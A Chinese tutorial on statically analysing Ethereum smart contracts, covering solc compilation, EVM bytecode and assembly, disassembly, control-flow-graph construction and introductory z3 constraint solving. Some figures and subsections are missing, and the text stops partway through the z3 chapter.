区块链安全-以太坊智能合约静态分析
概述
目前,以太坊智能合約的安全事件頻發(fā),從The DAO事件到最近的Fomo3D獎(jiǎng)池被盜,每次安全問(wèn)題的破壞力都是巨大的,如何正確防范智能合約的安全漏洞成了當(dāng)務(wù)之急。本文主要講解了如何通過(guò)對(duì)智能合約的靜態(tài)分析進(jìn)而發(fā)現(xiàn)智能合約中的漏洞。由于智能合約部署之后的更新和升級(jí)非常困難,所以在智能合約部署之前對(duì)其進(jìn)行靜態(tài)分析,檢測(cè)并發(fā)現(xiàn)智能合約中的漏洞,可以最大限度的保證智能合約部署之后的安全。
本文包含以下五個(gè)章節(jié):
- 智能合約的編譯
- 智能合約匯編指令分析
- 從反編譯代碼構(gòu)建控制流圖
- 從控制流圖開(kāi)始約束求解
- 常見(jiàn)的智能合約漏洞以及檢測(cè)方法
第一章 智能合約的編譯
本章節(jié)是智能合約靜態(tài)分析的第一章,主要講解了智能合約的編譯,包括編譯環(huán)境的搭建、solidity編譯器的使用。
1.1 編譯環(huán)境的搭建
我們以Ubuntu系統(tǒng)為例,介紹編譯環(huán)境的搭建過(guò)程。首先介紹的是go-ethereum的安裝。
1.1.1 安裝go-ethereum
通過(guò)apt-get安裝是比較簡(jiǎn)便的安裝方法,只需要在安裝之前添加go-ethereum的ppa倉(cāng)庫(kù),完整的安裝命令如下:
sudo apt-get install software-properties-common sudo add-apt-repository -y ppa:ethereum/ethereum sudo apt-get update sudo apt-get install ethereum安裝成功后,我們?cè)诿钚邢戮涂梢允褂胓eth,evm,swarm,bootnode,rlpdump,abigen等命令。
當(dāng)然,我們也可以通過(guò)編譯源碼的方式進(jìn)行安裝,但是這種安裝方式需要提前安裝golang的環(huán)境,步驟比較繁瑣。
1.1.2 安裝solidity編譯器
目前以太坊上的智能合約絕大多數(shù)是通過(guò)solidity語(yǔ)言編寫的,所以本章只介紹solidity編譯器的安裝。solidity的安裝和go-ethereum類似,也是通過(guò)apt-get安裝,在安裝前先添加相應(yīng)的ppa倉(cāng)庫(kù)。完整的安裝命令如下:
sudo add-apt-repository ppa:ethereum/ethereum sudo apt-get update sudo apt-get install solc執(zhí)行以上命令后,最新的穩(wěn)定版的solidity編譯器就安裝完成了。之后我們?cè)诿钚芯涂梢允褂胹olc命令了。
1.2 solidity編譯器的使用
1.2.1 基本用法
我們以一個(gè)簡(jiǎn)單的以太坊智能合約為例進(jìn)行編譯,智能合約代碼(保存在test.sol文件)如下:
pragma solidity ^0.4.25; contract Test { }執(zhí)行solc命令:solc --bin test.sol
輸出結(jié)果如下:
- ======= test.sol:Test =======
- Binary:
- 6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
solc命令的--bin選項(xiàng),用來(lái)把智能合約編譯后的二進(jìn)制以十六進(jìn)制形式表示。和--bin選項(xiàng)類似的是--bin-runtime,這個(gè)選項(xiàng)也會(huì)輸出十六進(jìn)制表示,但是會(huì)省略智能合約編譯后的部署代碼。接下來(lái)我們執(zhí)行solc命令:
solc --bin-runtime test.sol
輸出結(jié)果如下:
- ======= test.sol:Test =======
- Binary of the runtime part:
- 6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
對(duì)比兩次輸出結(jié)果不難發(fā)現(xiàn),使用--bin-runtime選項(xiàng)后,輸出結(jié)果的開(kāi)始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300,為何會(huì)少了這部分代碼呢,看完接下來(lái)的智能合約編譯后的字節(jié)碼結(jié)構(gòu)就明白了。
1.2.2 智能合約字節(jié)碼結(jié)構(gòu)
智能合約編譯后的字節(jié)碼,分為三個(gè)部分:部署代碼、runtime代碼、auxdata。
1.部署代碼:以上面的輸出結(jié)果為例,其中6080604052348015600f57600080fd5b50603580601d6000396000f300為部署代碼。以太坊虛擬機(jī)在創(chuàng)建合約的時(shí)候,會(huì)先創(chuàng)建合約賬戶,然后運(yùn)行部署代碼。運(yùn)行完成后它會(huì)將runtime代碼+auxdata 存儲(chǔ)到區(qū)塊鏈上。之后再把二者的存儲(chǔ)地址跟合約賬戶關(guān)聯(lián)起來(lái)(也就是把合約賬戶中的code hash字段用該地址賦值),這樣就完成了合約的部署。
2.runtime代碼:該例中6080604052600080fd00是runtime代碼。
3.auxdata:每個(gè)合約最后面的43字節(jié)就是auxdata,它會(huì)緊跟在runtime代碼后面被存儲(chǔ)起來(lái)。
solc命令的--bin-runtime選項(xiàng),輸出了runtime代碼和auxdata,省略了部署代碼,所以輸出結(jié)果的開(kāi)始部分少了6080604052348015600f57600080fd5b50603580601d6000396000f300。
1.2.3 生成匯編代碼
solc命令的--asm選項(xiàng)用來(lái)生成匯編代碼,接下來(lái)我們還是以最初的智能合約為例執(zhí)行solc命令,查看生成的匯編代碼。
執(zhí)行命令:solc --bin --asm test.sol
輸出結(jié)果如下:
======= test.sol:Test ======= EVM assembly: ... */ "test.sol":28:52 contract Test { mstore(0x40, 0x80) callvalue /* "--CODEGEN--":8:17 */ dup1 /* "--CODEGEN--":5:7 * iszero tag_1 jumpi /* "--CODEGEN--":30:31 */ 0x0 /* "--CODEGEN--":27:28 */ dup1 /* "--CODEGEN--":20:32 */ revert /* "--CODEGEN--":5:7 */ tag_1: ... */ "test.sol":28:52 contract Test { pop dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { ... */ /* "test.sol":28:52 contract Test { mstore(0x40, 0x80) 0x0 dup1 revert auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029 }由1.2.2小節(jié)可知,智能合約編譯后的字節(jié)碼分為部署代碼、runtime代碼和auxdata三部分。同樣,智能合約編譯生成的匯編指令也分為三部分:EVM assembly標(biāo)簽下的匯編指令對(duì)應(yīng)的是部署代碼;sub_0標(biāo)簽下的匯編指令對(duì)應(yīng)的是runtime代碼;sub_0標(biāo)簽下的auxdata和字節(jié)碼中的auxdata完全相同。由于目前智能合約文件并沒(méi)有實(shí)質(zhì)的內(nèi)容,所以sub_0標(biāo)簽下沒(méi)有任何有意義的匯編指令。
1.2.4 生成ABI
solc命令的--abi選項(xiàng)可以用來(lái)生成智能合約的ABI,同樣還是最開(kāi)始的智能合約代碼進(jìn)行演示。
執(zhí)行solc命令:solc --abi test.sol
輸出結(jié)果如下:
- ======= test.sol:Test =======
- Contract JSON ABI
- []
可以看到生成的結(jié)果中ABI數(shù)組為空,因?yàn)槲覀兊闹悄芎霞s里并沒(méi)有內(nèi)容(沒(méi)有變量聲明,沒(méi)有函數(shù))。
1.3 總結(jié)
本章節(jié)主要介紹了編譯環(huán)境的搭建、智能合約的字節(jié)碼的結(jié)構(gòu)組成以及solc命令的常見(jiàn)用法(生成字節(jié)碼,生成匯編代碼,生成abi)。在下一章中,我們將對(duì)生成的匯編代碼做深入的分析。
第二章 智能合約匯編指令分析
本章是智能合約靜態(tài)分析的第二章,在第一章中我們簡(jiǎn)單演示了如何通過(guò)solc命令生成智能合約的匯編代碼,在本章中我們將對(duì)智能合約編譯后的匯編代碼進(jìn)行深入分析,以及通過(guò)evm命令對(duì)編譯生成的字節(jié)碼進(jìn)行反編譯。
2.1 以太坊中的匯編指令
為了讓大家更好的理解匯編指令,我們先簡(jiǎn)單介紹下以太坊虛擬機(jī)EVM的存儲(chǔ)結(jié)構(gòu),熟悉Java虛擬機(jī)的同學(xué)可以把EVM和JVM進(jìn)行對(duì)比學(xué)習(xí)。
2.1.1 以太坊虛擬機(jī)EVM
編程語(yǔ)言虛擬機(jī)一般有兩種類型,基于棧,或者基于寄存器。和JVM一樣,EVM也是基于棧的虛擬機(jī)。
既然是支持棧的虛擬機(jī),那么EVM肯定首先得有個(gè)棧。為了方便進(jìn)行密碼學(xué)計(jì)算,EVM采用了32字節(jié)(256比特)的字長(zhǎng)。EVM棧以字(Word)為單位進(jìn)行操作,最多可以容納1024個(gè)字。下面是EVM棧的示意圖:
??
2.1.2 以太坊的匯編指令集:
和JVM一樣,EVM執(zhí)行的也是字節(jié)碼。由于操作碼被限制在一個(gè)字節(jié)以內(nèi),所以EVM指令集最多只能容納256條指令。目前EVM已經(jīng)定義了約142條指令,還有100多條指令可供以后擴(kuò)展。這142條指令包括算術(shù)運(yùn)算指令,比較操作指令,按位運(yùn)算指令,密碼學(xué)計(jì)算指令,棧、memory、storage操作指令,跳轉(zhuǎn)指令,區(qū)塊、智能合約相關(guān)指令等。下面是已經(jīng)定義的EVM操作碼分布圖[1](灰色區(qū)域是目前還沒(méi)有定義的操作碼)
下面的表格中總結(jié)了常用的匯編指令:
| 0x00 | STOP | 結(jié)束指令 |
| 0x01 | ADD | 把棧頂?shù)膬蓚€(gè)值出棧,相加后把結(jié)果壓入棧頂 |
| 0x02 | MUL | 把棧頂?shù)膬蓚€(gè)值出棧,相乘后把結(jié)果壓入棧頂 |
| 0x03 | SUB | 從棧中依次出棧兩個(gè)值arg0和arg1,用arg0減去arg1,再把結(jié)果壓入棧頂 |
| 0x10 | LT | 把棧頂?shù)膬蓚€(gè)值出棧,如果先出棧的值小于后出棧的值則把1入棧,反之把0入棧 |
| 0x11 | GT | 和LT類似,如果先出棧的值大于后出棧的值則把1入棧,反之把0入棧 |
| 0x14 | EQ | 把棧頂?shù)膬蓚€(gè)值出棧,如果兩個(gè)值相等則把1入棧,否則把0入棧 |
| 0x15 | ISZERO | 把棧頂值出棧,如果該值是0則把1入棧,否則把0入棧 |
| 0x34 | CALLVALUE | 獲取交易中的轉(zhuǎn)賬金額 |
| 0x35 | CALLDATALOAD | 獲取交易中的input字段的值 |
| 0x36 | CALLDATASIZE | 獲取交易中input字段的值的長(zhǎng)度 |
| 0x50 | POP | 把棧頂值出棧 |
| 0x51 | MLOAD | 把棧頂出棧并以該值作為內(nèi)存中的索引,加載內(nèi)存中該索引之后的32字節(jié)到棧頂 |
| 0x52 | MSTORE | 從棧中依次出棧兩個(gè)值arg0和arg1,并把a(bǔ)rg1存放在內(nèi)存的arg0處 |
| 0x54 | SLOAD | 把棧頂出棧并以該值作為storage中的索引,加載該索引對(duì)應(yīng)的值到棧頂 |
| 0x55 | SSTORE | 從棧中依次出棧兩個(gè)值arg0和arg1,并把a(bǔ)rg1存放在storage的arg0處 |
| 0x56 | JUMP | 把棧頂值出棧,并以此值作為跳轉(zhuǎn)的目的地址 |
| 0x57 | JUMPI | 從棧中依次出棧兩個(gè)值arg0和arg1,如果arg1的值為真則跳轉(zhuǎn)到arg0處,否則不跳轉(zhuǎn) |
| 0x60 | PUSH1 | 把1個(gè)字節(jié)的數(shù)值放入棧頂 |
| 0x61 | PUSH2 | 把2個(gè)字節(jié)的數(shù)值放入棧頂 |
| 0x80 | DUP1 | 復(fù)制當(dāng)前棧中第一個(gè)值到棧頂 |
| 0x81 | DUP2 | 復(fù)制當(dāng)前棧中第二個(gè)值到棧頂 |
| 0x90 | SWAP1 | 把棧中第一個(gè)值和第二個(gè)值進(jìn)行調(diào)換 |
| 0x91 | SWAP2 | 把棧中第一個(gè)值和第三個(gè)值進(jìn)行調(diào)換 |
2.2 智能合約匯編分析
在第一章中,為了便于入門,我們分析的智能合約文件并不包含實(shí)質(zhì)的內(nèi)容。在本章中我們以一個(gè)稍微復(fù)雜的智能合約為例進(jìn)行分析。智能合約(保存在test.sol文件中)代碼如下:
pragma solidity ^0.4.25; contract Overflow { uint private sellerBalance=0; function add(uint value) returns (bool, uint){ sellerBalance += value; assert(sellerBalance >= value); } }2.2.1 生成匯編代碼
執(zhí)行solc命令:solc --asm --optimize test.sol,其中--optimize選項(xiàng)用來(lái)開(kāi)啟編譯優(yōu)化
輸出的結(jié)果如下:
- EVM assembly:
- ... */ "test.sol":26:218 contract Overflow {
- mstore(0x40, 0x80)
- /* "test.sol":78:79 0 */
- 0x0
- /* "test.sol":51:79 uint private sellerBalance=0 */
- dup1
- sstore
- ... */ "test.sol":26:218 contract Overflow {
- callvalue
- /* "--CODEGEN--":8:17 */
- dup1
- /* "--CODEGEN--":5:7 */
- iszero
- tag_1
- jumpi
- /* "--CODEGEN--":30:31 */
- 0x0
- /* "--CODEGEN--":27:28 */
- dup1
- /* "--CODEGEN--":20:32 */
- revert
- /* "--CODEGEN--":5:7 */
- tag_1:
- ... */ "test.sol":26:218 contract Overflow {
- pop
- dataSize(sub_0)
- dup1
- dataOffset(sub_0)
- 0x0
- codecopy
- 0x0
- return
- stop
- sub_0: assembly {
- ... */ /* "test.sol":26:218 contract Overflow {
- mstore(0x40, 0x80)
- jumpi(tag_1, lt(calldatasize, 0x4))
- and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)
- 0x1003e2d2
- dup2
- eq
- tag_2
- jumpi
- tag_1:
- 0x0
- dup1
- revert
- ... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
- tag_2:
- callvalue
- /* "--CODEGEN--":8:17 */
- dup1
- /* "--CODEGEN--":5:7 */
- iszero
- tag_3
- jumpi
- /* "--CODEGEN--":30:31 */
- 0x0
- /* "--CODEGEN--":27:28 */
- dup1
- /* "--CODEGEN--":20:32 */
- revert
- /* "--CODEGEN--":5:7 */
- tag_3:
- pop
- ... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
- tag_4
- calldataload(0x4)
- jump(tag_5)
- tag_4:
- /* 省略部分代碼 */
- tag_5:
- /* "test.sol":122:126 bool */
- 0x0
- /* "test.sol":144:166 sellerBalance += value */
- dup1
- sload
- dup3
- add
- dup1
- dup3
- sstore
- /* "test.sol":122:126 bool */
- dup2
- swap1
- /* "test.sol":184:206 sellerBalance >= value */
- dup4
- gt
- iszero
- /* "test.sol":177:207 assert(sellerBalance >= value) */
- tag_7
- jumpi
- invalid
- tag_7:
- ... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
- swap2
- pop
- swap2
- jump // out
- auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029
- }
回顧第一章我們得知,智能合約編譯生成的匯編指令分為三部分:EVM assembly標(biāo)簽下的匯編指令對(duì)應(yīng)的是部署代碼;sub_0標(biāo)簽下的匯編指令對(duì)應(yīng)的是runtime代碼,是智能合約部署后真正運(yùn)行的代碼。
2.2.2 分析匯編代碼
接下來(lái)我們從sub_0標(biāo)簽的入口開(kāi)始,一步步地進(jìn)行分析:
最開(kāi)始處執(zhí)行mstore(0x40, 0x80)指令,把0x80存放在內(nèi)存的0x40處。
第二步執(zhí)行jumpi指令,在跳轉(zhuǎn)之前要先通過(guò)calldatasize指令用來(lái)獲取本次交易的input字段的值的長(zhǎng)度。如果該長(zhǎng)度小于4字節(jié)則是一個(gè)非法調(diào)用,程序會(huì)跳轉(zhuǎn)到tag_1標(biāo)簽下。如果該長(zhǎng)度大于4字節(jié)則順序向下執(zhí)行。
接下來(lái)是獲取交易的input字段中的函數(shù)簽名。如果input字段中的函數(shù)簽名等于"0x1003e2d2",則EVM跳轉(zhuǎn)到tag_2標(biāo)簽下執(zhí)行,否則不跳轉(zhuǎn),順序向下執(zhí)行tag_1。ps:使用web3.sha3("add(uint256)")可以計(jì)算智能合約中add函數(shù)的簽名,計(jì)算結(jié)果為0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0,之后取前四字節(jié)"0x1003e2d2"作為add函數(shù)的簽名。
在tag_2標(biāo)簽中,首先執(zhí)行callvalue指令,該指令獲取交易中的轉(zhuǎn)賬金額,如果金額是0,則執(zhí)行接下來(lái)的jumpi指令,就會(huì)跳轉(zhuǎn)到tag_3標(biāo)簽。ps:因?yàn)閍dd函數(shù)沒(méi)有payable修飾,導(dǎo)致該函數(shù)不能接受轉(zhuǎn)賬,所以在調(diào)用該函數(shù)時(shí)會(huì)先判斷交易中的轉(zhuǎn)賬金額是不是0。
在tag_3標(biāo)簽中,會(huì)把tag_4標(biāo)簽壓入棧,作為函數(shù)調(diào)用完成后的返回地址,同時(shí)calldataload(0x4)指令會(huì)把交易的input字段中第4字節(jié)之后的32字節(jié)入棧,之后跳轉(zhuǎn)到tag_5標(biāo)簽中繼續(xù)執(zhí)行。
在tag_5標(biāo)簽中,會(huì)執(zhí)行add函數(shù)中的所有代碼,包括對(duì)變量sellerBalance進(jìn)行賦值以及比較變量sellerBalance和函數(shù)參數(shù)的大小。如果變量sellerBalance的值大于函數(shù)參數(shù),接下來(lái)會(huì)執(zhí)行jumpi指令跳轉(zhuǎn)到tag_7標(biāo)簽中,否則執(zhí)行invalid,程序出錯(cuò)。
2.3 智能合約字節(jié)碼的反編譯
在第一章中,我們介紹了go-ethereum的安裝,安裝完成后我們?cè)诿钚兄芯涂梢允褂胑vm命令了。下面我們使用evm命令對(duì)智能合約字節(jié)碼進(jìn)行反編譯。
需要注意的是,由于智能合約編譯后的字節(jié)碼分為部署代碼、runtime代碼和auxdata三部分,但是部署后真正執(zhí)行的是runtime代碼,所以我們只需要反編譯runtime代碼即可。還是以本章開(kāi)始處的智能合約為例,執(zhí)行solc --asm --optimize test.sol?命令,截取字節(jié)碼中的runtime代碼部分:
- 608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600
把這段代碼保存在某個(gè)文件中,比如保存在test.bytecode中。
接下來(lái)執(zhí)行反編譯命令:evm disasm test.bytecode
得到的結(jié)果如下:
- 00000: PUSH1 0x80
- 00002: PUSH1 0x40
- 00004: MSTORE
- 00005: PUSH1 0x04
- 00007: CALLDATASIZE
- 00008: LT
- 00009: PUSH1 0x3e
- 0000b: JUMPI
- 0000c: PUSH4 0xffffffff
- 00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
- 0002f: PUSH1 0x00
- 00031: CALLDATALOAD
- 00032: DIV
- 00033: AND
- 00034: PUSH4 0x1003e2d2
- 00039: DUP2
- 0003a: EQ
- 0003b: PUSH1 0x43
- 0003d: JUMPI
- 0003e: JUMPDEST
- 0003f: PUSH1 0x00
- 00041: DUP1
- 00042: REVERT
- 00043: JUMPDEST
- 00044: CALLVALUE
- 00045: DUP1
- 00046: ISZERO
- 00047: PUSH1 0x4e
- 00049: JUMPI
- 0004a: PUSH1 0x00
- 0004c: DUP1
- 0004d: REVERT
- 0004e: JUMPDEST
- 0004f: POP
- 00050: PUSH1 0x58
- 00052: PUSH1 0x04
- 00054: CALLDATALOAD
- 00055: PUSH1 0x73
- 00057: JUMP
- 00058: JUMPDEST
- 00059: PUSH1 0x40
- 0005b: DUP1
- 0005c: MLOAD
- 0005d: SWAP3
- 0005e: ISZERO
- 0005f: ISZERO
- 00060: DUP4
- 00061: MSTORE
- 00062: PUSH1 0x20
- 00064: DUP4
- 00065: ADD
- 00066: SWAP2
- 00067: SWAP1
- 00068: SWAP2
- 00069: MSTORE
- 0006a: DUP1
- 0006b: MLOAD
- 0006c: SWAP2
- 0006d: DUP3
- 0006e: SWAP1
- 0006f: SUB
- 00070: ADD
- 00071: SWAP1
- 00072: RETURN
- 00073: JUMPDEST
- 00074: PUSH1 0x00
- 00076: DUP1
- 00077: SLOAD
- 00078: DUP3
- 00079: ADD
- 0007a: DUP1
- 0007b: DUP3
- 0007c: SSTORE
- 0007d: DUP2
- 0007e: SWAP1
- 0007f: DUP4
- 00080: GT
- 00081: ISZERO
- 00082: PUSH1 0x86
- 00084: JUMPI
- 00085: Missing opcode 0xfe
- 00086: JUMPDEST
- 00087: SWAP2
- 00088: POP
- 00089: SWAP2
- 0008a: JUMP
- 0008b: STOP
接下來(lái)我們把上面的反編譯代碼和2.1節(jié)中生成的匯編代碼進(jìn)行對(duì)比分析。
2.3.1 分析反編譯代碼
2.4 總結(jié)
本章首先介紹了EVM的存儲(chǔ)結(jié)構(gòu)和以太坊中常用的匯編指令。之后逐行分析了智能合約編譯后的匯編代碼,最后反編譯了智能合約的字節(jié)碼,把反編譯的代碼和匯編代碼做了對(duì)比分析。相信讀完本章之后,大家基本上能夠看懂智能合約的匯編代碼和反編譯后的代碼。在下一章中,我們將介紹如何從智能合約的反編譯代碼中生成控制流圖(control flow graph)。
第三章 從反編譯代碼構(gòu)建控制流圖
本章是智能合約靜態(tài)分析的第三章,第二章中我們生成了反編譯代碼,本章我們將從這些反編譯代碼出發(fā),一步一步的構(gòu)建控制流圖。
3.1 控制流圖的概念
3.1.1 基本塊(basic block)
基本塊是一個(gè)最大化的指令序列,程序執(zhí)行只能從這個(gè)序列的第一條指令進(jìn)入,從這個(gè)序列的最后一條指令退出。
構(gòu)建基本塊的三個(gè)原則:
3.1.2 控制流圖(control flow graph)
控制流圖是以基本塊為結(jié)點(diǎn)的有向圖G=(N, E),其中N是結(jié)點(diǎn)集合,表示程序中的基本塊;E是結(jié)點(diǎn)之間邊的集合。如果從基本塊P的出口轉(zhuǎn)向基本塊塊Q,則從P到Q有一條有向邊P->Q,表示從結(jié)點(diǎn)P到Q存在一條可執(zhí)行路徑,P為Q的前驅(qū)結(jié)點(diǎn),Q為P的后繼結(jié)點(diǎn)。也就代表在執(zhí)行完結(jié)點(diǎn)P中的代碼語(yǔ)句后,有可能順序執(zhí)行結(jié)點(diǎn)Q中的代碼語(yǔ)句[2]。
3.2 構(gòu)建基本塊
控制流圖是由基本塊和基本塊之間的邊構(gòu)成,所以構(gòu)建基本塊是控制流圖的前提。接下來(lái)我們以反編譯代碼作為輸入,分析如何構(gòu)建基本塊。
第二章中的反編譯代碼如下:
- 00000: PUSH1 0x80
- 00002: PUSH1 0x40
- 00004: MSTORE
- 00005: PUSH1 0x04
- 00007: CALLDATASIZE
- 00008: LT
- 00009: PUSH1 0x3e
- 0000b: JUMPI
- 0000c: PUSH4 0xffffffff
- 00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
- 0002f: PUSH1 0x00
- 00031: CALLDATALOAD
- 00032: DIV
- 00033: AND
- 00034: PUSH4 0x1003e2d2
- 00039: DUP2
- 0003a: EQ
- 0003b: PUSH1 0x43
- 0003d: JUMPI
- 0003e: JUMPDEST
- 0003f: PUSH1 0x00
- 00041: DUP1
- 00042: REVERT
- 00043: JUMPDEST
- 00044: CALLVALUE
- 00045: DUP1
- 00046: ISZERO
- 00047: PUSH1 0x4e
- 00049: JUMPI
- 0004a: PUSH1 0x00
- 0004c: DUP1
- 0004d: REVERT
- 0004e: JUMPDEST
- 0004f: POP
- 00050: PUSH1 0x58
- 00052: PUSH1 0x04
- 00054: CALLDATALOAD
- 00055: PUSH1 0x73
- 00057: JUMP
- 00058: JUMPDEST
- 00059: PUSH1 0x40
- 0005b: DUP1
- 0005c: MLOAD
- 0005d: SWAP3
- 0005e: ISZERO
- 0005f: ISZERO
- 00060: DUP4
- 00061: MSTORE
- 00062: PUSH1 0x20
- 00064: DUP4
- 00065: ADD
- 00066: SWAP2
- 00067: SWAP1
- 00068: SWAP2
- 00069: MSTORE
- 0006a: DUP1
- 0006b: MLOAD
- 0006c: SWAP2
- 0006d: DUP3
- 0006e: SWAP1
- 0006f: SUB
- 00070: ADD
- 00071: SWAP1
- 00072: RETURN
- 00073: JUMPDEST
- 00074: PUSH1 0x00
- 00076: DUP1
- 00077: SLOAD
- 00078: DUP3
- 00079: ADD
- 0007a: DUP1
- 0007b: DUP3
- 0007c: SSTORE
- 0007d: DUP2
- 0007e: SWAP1
- 0007f: DUP4
- 00080: GT
- 00081: ISZERO
- 00082: PUSH1 0x86
- 00084: JUMPI
- 00085: Missing opcode 0xfe
- 00086: JUMPDEST
- 00087: SWAP2
- 00088: POP
- 00089: SWAP2
- 0008a: JUMP
- 0008b: STOP
我們從第一條指令開(kāi)始分析構(gòu)建基本塊的過(guò)程。00000地址處的指令是程序的第一條指令,根據(jù)構(gòu)建基本塊的第一個(gè)原則,將其作為新的基本塊的第一條指令;0000b地址處是一條跳轉(zhuǎn)指令,根據(jù)構(gòu)建基本塊的第二個(gè)原則,將其作為新的基本塊的最后一條指令。這樣我們就把從地址00000到0000b的代碼構(gòu)建成一個(gè)基本塊,為了之后方便描述,把這個(gè)基本塊命名為基本塊1。
接下來(lái)0000c地址處的指令,我們作為新的基本塊的第一條指令。0003d地址處是一條跳轉(zhuǎn)指令,根據(jù)構(gòu)建基本塊的第二個(gè)原則,將其作為新的基本塊的最后一條指令。于是從地址0000c到0003d就構(gòu)成了一個(gè)新的基本塊,我們把這個(gè)基本塊命名為基本塊2。
以此類推,我們可以遵照構(gòu)建基本塊的三個(gè)原則構(gòu)建起所有的基本塊。構(gòu)建完成后的基本塊如下圖所示:
圖中的每一個(gè)矩形是一個(gè)基本塊,矩形的右半部分是為了后續(xù)描述方便而對(duì)基本塊的命名(當(dāng)然你也可以命名成自己喜歡的名字)。矩形的左半部分是基本塊所包含的指令的起始地址和結(jié)束地址。當(dāng)所有的基本塊都構(gòu)建完成后,我們就把之前的反編譯代碼轉(zhuǎn)化成了11個(gè)基本塊。接下來(lái)我們將構(gòu)建基本塊之間的邊。
3.3 構(gòu)建基本塊之間的邊
簡(jiǎn)單來(lái)說(shuō),基本塊之間的邊就是基本塊之間的跳轉(zhuǎn)關(guān)系。以基本塊1為例,其最后一條指令是條件跳轉(zhuǎn)指令,如果條件成立就跳轉(zhuǎn)到基本塊3,否則就跳轉(zhuǎn)到基本塊2。所以基本塊1就存在基本塊1->基本塊2和基本塊1->基本塊3兩條邊?;緣K6的最后一條指令是跳轉(zhuǎn)指令,該指令會(huì)直接跳轉(zhuǎn)到基本塊8,所以基本塊6就存在基本塊6->基本塊8這一條邊。
結(jié)合反編譯代碼和基本塊的劃分,我們不難得出所有邊的集合E:
- {
- '基本塊1': ['基本塊2','基本塊3'],
- '基本塊2': ['基本塊3','基本塊4'],
- '基本塊3': ['基本塊11'],
- '基本塊4': ['基本塊5','基本塊6'],
- '基本塊5': ['基本塊11'],
- '基本塊6': ['基本塊8'],
- '基本塊7': ['基本塊8'],
- '基本塊8': ['基本塊9','基本塊10'],
- '基本塊9': ['基本塊11'],
- '基本塊10': ['基本塊7']
- }
我們把邊的集合E用python中的dict類型表示,dict中的key是基本塊,key對(duì)應(yīng)的value值是一個(gè)list。還是以基本塊1為例,因?yàn)榛緣K1存在基本塊1->基本塊2和基本塊1->基本塊3兩條邊,所以'基本塊1'對(duì)應(yīng)的list值為['基本塊2','基本塊3']。
3.4 構(gòu)建控制流圖
在前兩個(gè)小節(jié)中我們構(gòu)建完成了基本塊和邊,到此構(gòu)建控制流圖的準(zhǔn)備工作都已完成,接下來(lái)我們就要把基本塊和邊整合在一起,繪制完整的控制流圖。
上圖就是完整的控制流圖,從圖中我們可以清晰直觀的看到基本塊之間的跳轉(zhuǎn)關(guān)系,比如基本塊1是條件跳轉(zhuǎn),根據(jù)條件是否成立跳轉(zhuǎn)到不同的基本塊,于是就形成了兩條邊?;緣K2和基本塊1類似也是條件跳轉(zhuǎn),也會(huì)形成兩條邊?;緣K6是直接跳轉(zhuǎn),所以只會(huì)形成一條邊。
在該控制流圖中,只有一個(gè)起始?jí)K(基本塊1)和一個(gè)結(jié)束塊(基本塊11)。當(dāng)流程走到基本塊11的時(shí)候,表示整個(gè)流程結(jié)束。需要指出的是,基本塊11中只包含一條指令STOP。
3.5 總結(jié)
本章先介紹了控制流圖中的基本概念,之后根據(jù)基本塊的構(gòu)建原則完成所有基本塊的構(gòu)建,接著結(jié)合反編譯代碼分析了基本塊之間的跳轉(zhuǎn)關(guān)系,畫出所有的邊。當(dāng)所有的準(zhǔn)備工作完成后,最后繪制出控制流圖。在下一章中,我們將對(duì)構(gòu)建好的控制流圖,采用z3對(duì)其進(jìn)行約束求解。
第四章 從控制流圖開(kāi)始約束求解
在本章中我們將使用z3對(duì)第三章中生成的控制流圖進(jìn)行約束求解。z3是什么,約束求解又是什么呢?下面將會(huì)給大家一一解答。
約束求解:求出能夠滿足所有約束條件的每個(gè)變量的值。
z3: z3是由微軟公司開(kāi)發(fā)的一個(gè)優(yōu)秀的約束求解器,用它能求解出滿足約束條件的變量的值。
從3.4節(jié)的控制流圖中我們不難發(fā)現(xiàn),圖中用菱形表示的跳轉(zhuǎn)條件左右著基本塊跳轉(zhuǎn)的方向。如果我們用變量表示跳轉(zhuǎn)條件中的輸入數(shù)據(jù),再把變量組合成數(shù)學(xué)表達(dá)式,此時(shí)跳轉(zhuǎn)條件就轉(zhuǎn)變成了約束條件,之后我們借助z3對(duì)約束條件進(jìn)行求解,根據(jù)求解的結(jié)果我們就能判斷出基本塊的跳轉(zhuǎn)方向,如此一來(lái)我們就能模擬整個(gè)程序的執(zhí)行。
接下來(lái)我們就從z3的基本使用開(kāi)始,一步一步的完成對(duì)所有跳轉(zhuǎn)條件的約束求解。
4.1 z3的使用
我們以z3的python實(shí)現(xiàn)z3py為例介紹z3是如何使用的[3]。
4.1.1 基本用法
- from z3 import *
- x = Int('x')
- y = Int('y')
- solve(x > 2, y < 10, x + 2*y == 7)
在上面的代碼中,函數(shù)Int('x')在z3中創(chuàng)建了一個(gè)名為x的變量,之后調(diào)用了solve函數(shù)求在三個(gè)約束條件下的解,這三個(gè)約束條件分別是x > 2,?y < 10,?x + 2*y == 7,運(yùn)行上面的代碼,輸出結(jié)果為:
- [y = 0, x = 7]
實(shí)際上滿足約束條件的解不止一個(gè),比如[y=1,x=5]也符合條件,但是z3在默認(rèn)情況下只尋找滿足約束條件的一組解,而不是找出所有解。
4.1.2 布爾運(yùn)算
- from z3 import *
- p = Bool('p')
- q = Bool('q')
- r = Bool('r')
- solve(Implies(p, q), r == Not(q), Or(Not(p), r))
